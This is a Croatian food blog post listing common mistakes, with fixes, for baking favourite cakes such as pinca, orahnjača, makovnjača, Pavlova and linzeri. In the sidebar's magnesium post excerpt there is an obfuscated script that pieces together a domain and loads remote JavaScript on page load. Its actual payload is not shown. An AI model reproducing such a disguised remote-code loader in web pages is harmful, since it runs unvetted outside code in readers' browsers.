NAJČEŠĆE GREŠKE KOJE RADIMO KOD PRAVLJENJA OMILJENIH KOLAČA




Najčešće greške koje radimo kod pravljenja omiljenih kolača 



Ako želite da ove godine sve ispadne savršeno, ili bar blizu tome, dovoljno je izbjeći nekoliko tipičnih zamki koje se stalno ponavljaju.




Pinca sirnica

Greška: Tijesto je pretvrdo jer se dodaje previše brašna.

Rješenje: Tijesto mora ostati mekano i blago ljepljivo prije dizanja – bolje je dodati malo manje brašna nego previše. Također, pustite je da se diže dovoljno dugo (često i dulje nego što recept kaže), jer upravo to daje onu karakterističnu prozračnost.



Orahnjača 

Greška: Nadjev je presuh ili se stavlja na prehladno tijesto.

Rješenje: Nadjev mora biti topao i maziv (uz dodatak mlijeka ili vrhnja), a tijesto lagano razvaljano i sobne temperature. Tako će se bolje povezati i neće ostajati "prazni slojevi".



Makovnjača 

Greška: Previše nadjeva i nedovoljno dizanja prije pečenja.

Rješenje: Nemojte pretjerivati s količinom maka i obavezno ostavite savijeni kolač da još jednom odmori i naraste. Prije pečenja ga lagano izbockajte vilicom kako bi para izlazila ravnomjerno.



Ledeni vjetar 

Greška: Kore od bjelanjaka nisu dovoljno suhe ili se prerano filaju.

Rješenje: Kore treba sušiti, ne peći: na nižoj temperaturi i dovoljno dugo. Također, pustite ih da se potpuno ohlade prije slaganja, inače će se raspadati pod kremom.



Čupavci

Greška: Biskvit se prepeče ili se prekratko namače u čokoladi.

Rješenje: Biskvit mora ostati mekan, a kocke treba kratko, ali potpuno uroniti u čokoladni preljev kako bi upile dovoljno vlage. Ako treba, dodajte malo više mlijeka u preljev.



Karpati torta

Greška: Krema nije dovoljno ohlađena ili je prerijetka.

Rješenje: Kremu obavezno potpuno ohladite prije slaganja i po potrebi je dodatno učvrstite (npr. maslacem ili tučenim vrhnjem). Torta treba odstajati u hladnjaku kako bi se stabilizirala.



Dunavski valovi

Greška: Previše tekući tamni dio tijesta ili pogrešan raspored višanja.

Rješenje: Tamni dio treba biti dovoljno gust da ostane na vrhu, a višnje ravnomjerno raspoređene. Tako ćete dobiti karakterističan “valoviti” efekt.



Torta od mrkve

Greška: Previše smjese ili premalo masnoće/tekućine.

Rješenje: Mrkva treba biti sitno naribana, a smjesa lagana i dobro izbalansirana s uljem ili jogurtom. Nemojte je prepeći jer se brzo isuši.



Pavlova

Greška: Previsoka temperatura ili naglo hlađenje.

Rješenje: Pavlova se peče na niskoj temperaturi i hladi postupno u pećnici s lagano otvorenim vratima. Tako ostaje hrskava izvana, a mekana iznutra.



Kolači s prhkim tijestom (npr. linzeri)

Greška: Tijesto se previše mijesi ili se koristi pretopli maslac.

Rješenje: Prhko tijesto treba brzo zamijesiti s hladnim maslacem i što manje ga obrađivati. Nakon toga ga obavezno ohladite prije valjanja kako bi ostalo nježno i "topilo se u ustima".




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više